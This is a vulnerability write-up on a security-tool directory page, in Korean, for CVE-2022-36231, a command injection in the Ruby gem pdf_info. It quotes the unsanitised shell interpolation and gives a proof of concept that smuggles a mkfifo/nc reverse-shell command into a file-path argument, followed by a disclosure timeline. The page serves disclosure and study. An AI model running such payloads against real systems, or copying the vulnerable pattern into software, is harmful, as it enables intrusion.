Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-36231 — pdf_info <= 0.5.3 OS 명령 삽입 | Kitploit
도구/GitHubGitHub/affix/cve-2022-36231
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubaffix/cve-2022-36231

CVE-2022-36231

pdf_info <= 0.5.3 OS 명령 삽입

저장소 보기
533년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-36231

루비 젬 pdf_info <= 0.5.3은 PDF::Info 객체에서 메서드를 실행할 때 OS 명령 삽입(OS Command Injection)에 취약합니다.

특별히 조작된 페이로드를 사용하는 공격자는 명령 체이닝을 통해 OS 명령을 실행할 수 있습니다.

취약점 분석

새로운 PDF::Info 객체를 생성할 때 initialize 메서드가 호출됩니다.

root@kitploit:~
def initialize(pdf_path)
  @pdf_path = pdf_path
end

객체 초기화 중에는 검증이 수행되지 않으며 사용자가 제공한 경로가 사용됩니다.

다음과 같이 PDF::Info 객체를 생성하고 PDF의 메타데이터를 반환할 수 있습니다.

root@kitploit:~
#!/usr/bin/env ruby

require 'pdf/info'

info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata

PDF::Info 객체에서 metadata 메서드를 호출하면 command 메서드가 인자로 전달된 상태에서 process_output 메서드가 호출됩니다.

command 메서드는 @pdf_info 클래스 변수를 사용하여 시스템에서 pdfinfo 명령을 실행하고, 다음 코드 조각을 사용하여 명령의 출력을 반환합니다.

root@kitploit:~
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`

initialize 메서드와 마찬가지로 @pdf_path 변수에는 검증이 수행되지 않습니다. 이를 통해 ;를 사용한 명령 체이닝으로 임의의 명령을 실행할 수 있습니다.

root@kitploit:~
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')

pp info.metadata

위 코드 조각은 포트 4444의 127.0.0.1로 리버스 셸을 실행합니다.

Shell

공개 세부 정보

  • 2022-07-20 :: 벤더에 신고
  • 2022-08-30 :: 벤더에게 후속 연락
  • 2022-09-30 :: CVE 신청
  • 2022-10-26 :: 취약점 공개
도구 다운로드